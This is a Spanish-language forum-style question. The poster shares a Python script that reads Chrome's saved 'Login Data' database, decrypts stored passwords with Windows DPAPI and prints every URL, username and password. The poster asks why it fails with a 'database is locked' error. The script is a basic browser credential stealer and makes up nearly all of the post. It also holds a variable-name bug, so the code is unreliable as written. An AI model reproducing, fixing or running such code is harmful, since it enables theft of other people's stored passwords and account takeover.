Código
import os import sqlite3 import win32crypt #pip install pypiwin32 def get_chrome(): data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data' c = sqlite3.connect(data_path) cursor = c.cursor() select_statement = 'SELECT origin_url, username_value, password_value FROM Logins' cursor.execute(select_statement) login_data = cursor.fetchall() cred = {} string = '' for url, user_name, pws in login_data: pwd = win32crypt.CryptUnprotectData(pwd) cred[url] = (user_name, pwd[1].decode('utf8')) string += '\n[+] URL:%s USERNAME: %s PASSWORD: %s\n' % (url, user_name, pwd[1].decode('utf8')) print(string) os.system('pause') if __name__ == '__main__': get_chrome() ''' File "\code\get_chrome.py", line 10, in get_chrome cursor.execute(select_statement) sqlite3.OperationalError: database is locked '''
me devuelve un error de sqlite3.OperationalError: database is locked.